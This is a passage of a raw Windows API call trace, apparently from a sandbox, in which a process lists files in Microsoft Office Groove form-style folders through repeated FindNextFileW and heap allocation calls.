ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.875] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2990 [0078.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce7a0 [0078.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.876] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.gif", cAlternateFileName="")) returned 1 [0078.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac29b0 [0078.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce8a8 [0078.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.877] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac29d0 [0078.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce9b0 [0078.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.878] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac29f0 [0078.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ceab8 [0078.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.879] GetLastError () returned 0x12 [0078.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.879] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.gif", cAlternateFileName="")) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.879] GetLastError () returned 0x12 [0078.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.879] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5acc63d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x375, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x375, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0078.880] GetLastError () returned 0x12 [0078.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c56e0) returned 1 [0078.880] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0078.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c57e8) returned 1 [0078.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c55d8) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1313, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="")) returned 1 [0078.880] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa89, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewTemplate.html", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x23ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f4a00, ftCreationTime.dwHighDateTime=0x1c9fe9d, ftLastAccessTime.dwLowDateTime=0x58285d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x418f4a00, ftLastWriteTime.dwHighDateTime=0x1c9fe9d, nFileSizeHigh=0x0, nFileSizeLow=0x30074, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1018, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031bc00, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3031bc00, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b9b600, ftCreationTime.dwHighDateTime=0x1ca033b, 